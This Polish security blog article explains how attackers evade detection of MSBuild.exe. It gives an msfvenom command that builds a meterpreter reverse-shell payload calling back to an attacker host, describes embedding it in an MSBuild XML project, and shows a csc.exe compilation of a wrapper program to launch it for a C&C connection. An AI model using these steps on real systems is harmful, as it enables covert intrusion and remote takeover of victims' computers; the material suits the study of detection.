Menu dostępności

Ominięcie blokad użycia MSBuild.exe i wykonanie ładunku na Windows

W dzisiejszym artykule opiszemy ciekawy sposób na ominięcie blokad bezpieczeństwa Windows, które nie pozwalają na kompilację złośliwego kodu za pomocą wbudowanego w Windows narzędzia MSBuild.exe.

Techniki ataku używane przez współczesnych cyberprzestępców, które wykorzystują program MSBuild.exe na komputerach z Windows do uruchomienia złośliwego kodu, nie są nowością i wiemy już o nich od paru lat. MSBuild.exe jest monitorowaną aplikacją przez wiele systemów do bezpieczeństwa, w tym m.in. przez systemy Antywirusowe/EDR. W artykule tutaj pokazywaliśmy sposób na ominięcie takich blokad uruchomienia MSBuild. Metoda wykorzystywała program Loader.exe i dzięki temu w niezauważalny sposób można było nawiązać połączenie systemu Windows z serwerem zdalnego zarządzania C&C.
Poniżej zaprezentujemy nową metodę, lecz najpierw opowiemy krótko o samym programie MSBuild.exe.


Krótko o MSBuild.exe

Microsoft Build Engine to platforma do tworzenia aplikacji. Ten silnik, znany również jako MSBuild, udostępnia schemat projektu dostępny w pliku XML, który kontroluje w jaki sposób platforma na kompilować i tworzyć oprogramowanie. Z programu MSBuild korzysta również Visual Studio, ale nie jest od niego zależny. Jedną z zalet tego programu jest możliwość używania go do kompilacji na komputerach, na których nie jest zainstalowany program Visual Studio. VS używa programu MSBuild do ładowania i kompilowania projektów zarządzanych. Pliki projektu w programie Visual Studio (.csproj, .vbproj, .vcxproj i inne) zawierają kod XML MSBuildera. Więcej o nim dowiesz się z tego linka.

Wykorzystując tę możliwość MSbuild.exe cyberprzestępcy mogą w łatwy sposób uzyskać odwrotną powłokę do maszyny ofiary uruchamiając na niej specjalnie przygotowany ładunek umieszczony w środku pliku konfiguracyjnego XML.


Wygenerowanie pliku XML projektu z ładunkiem i użycie w MSBuild

Pierwsze, co potrzebujemy to wygenerowanie ładunku, który umieścimy w pliku konfiguracyjnym projektu MSBuild.exe. W celu wykonania tego istnieje kilka sposobów i dostępnych narzędzi. Opiszemy jedynie dwa wybrane.


MsfVenom

Ładunek dla MSBuild możemy wygenerować w narzędziu msfvenom z przełącznikiem „-f csharp”. W wyniku uruchomienia komendy zostanie wygenerowany ładunek i przypisany do zmiennej „buf”

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.251.129 lport=1234 -f csharp

Kopiując wartość zmiennej „buf” do zmiennej „shellcode” w schemacie pliku projektu MSBuild, który można pobrać z GitHub uzyskamy plik konfiguracyjny „payload.XML”.


Skrypt Nps_Payload

Skrypt wygeneruje specjalnie przygotowany ładunek bezpośrednio do pliku „msbuild_nsp.xml”, którego możemy użyć w narzędziu MSBuild.exe. Nps_payload wykorzystuje techniki zaciemniania kodu służące do podstawowego unikania jego wykrycia w momencie użycia na stacji ofiary. Wykorzystuje publicznie zademonstrowane techniki z kilku różnych źródeł. Napisane przez Larry’ego Spohna (@ Spoonman1091), bądź inny ładunek napisany przez Bena Maucha (@ Ben0xA) aka dirty_ben. Informacje jak go wygenerować oraz sam skrypt znajduje się na Github.


Wykonanie ładunku w payload.xml

Z pewnością wywołanie bezpośrednio „MSBuild.exe” z plikiem ładunku „payload.xml” z linii komend zwróciłoby uwagę działu BlueTeam lub rozwiązań do bezpieczeństwa. Lecz co mogłoby się stać, jakbyśmy troszkę mogli oszukać system i napisali program, który wykorzystałby narzędzie MSBuild.exe do uruchomienia złośliwego ładunku?

Poniżej przedstawimy listing takiego programu napisanego w C# (źródło możecie znaleźć też tutaj)

Kompilację powyższego pliku „Program.cs” możemy również wykonać na komputerze ofiary używając wbudowanego w .Net Framework kompilatora csc.exe, lub zaimportować plik „Program.sc” do projektu .Net Framework console w Visual Studio. W naszym przypadku plik skompilowaliśmy w narzędziu csc.exe, jak poniżej:

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:”Microsoft.Build.Framework.dll”;”Microsoft.Build.Tasks.v4.0.dll”;”Microsoft.Build.Utilities.v4.0.dll” /target:exe /out:c:\temp\Program.exe c:\temp\Program.cs

Po udanej kompilacji możemy zapisać nasz wcześniej wygenerowany plik projektu z ładunkiem „payload.xml” w katalogu Temp użytkownika (zmienna środowiskowa „%Temp%” określi nam dokładną jego ścieżkę). Ścieżka ta także się pokrywa ze ścieżka wymienioną w zmiennej „path” zdefiniowanej w „Program.cs”

Na koniec wystarczy tylko uruchomić skompilowany plik „Program.exe” na komputerze Windows, a nasz ładunek uruchomi się w tle automatycznie. Od teraz możemy się cieszyć połączeniem do serwera C&C.

Popularne

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

Czym są non-human identities (NHI)? Jak możemy je chronić i jakie zagrożenia stwarzają dla organizacji?

W dzisiejszym artykule opisujemy pewien problem istniejący w firmach i organizacjach, związany z tożsamościami nieludzkimi (non-human identities), czyli inaczej – tożsamościami niezwiązanymi z pracow...
Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie URL i DNS, dlaczego to takie ważne?

Filtrowanie adresów URL ogranicza zawartość stron internetowych, do których użytkownicy mają dostęp. Odbywa się to poprzez blokowanie określonych adresów URL przed załadowaniem. Firmy wdrażają filtrowanie...
Nowe podatności w architekturze sieci 5G

Nowe podatności w architekturze sieci 5G

Nowe badania nad architekturą 5G ujawniły lukę w zabezpieczeniach modelu dzielenia sieci oraz zwirtualizowanych funkcjach sieciowych, które można wykorzystać do nieautoryzowanego dostępu do danych, a tak...
Hakerzy z Dragon Breath z nową techniką ataku

Hakerzy z Dragon Breath z nową techniką ataku

Specjaliści z Sophos wykryli niedawno złośliwą aktywność polegającą na klasycznym DLL side-loadingu, ale ze zwiększoną złożonością i dodatkową warstwą wykonania. Co więcej, dochodzenie wskazuje, że oso...
Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Polowanie na eskalację uprawnień w Windows: sterowniki jądra i Named Pipe pod lupą

Podatności typu Local Privilege Escalation (LPE) pozostają jednym z kluczowych elementów realnych ataków na systemy Windows. Nawet przy poprawnie skonfigurowanym systemie i aktualnym oprogramowaniu bł...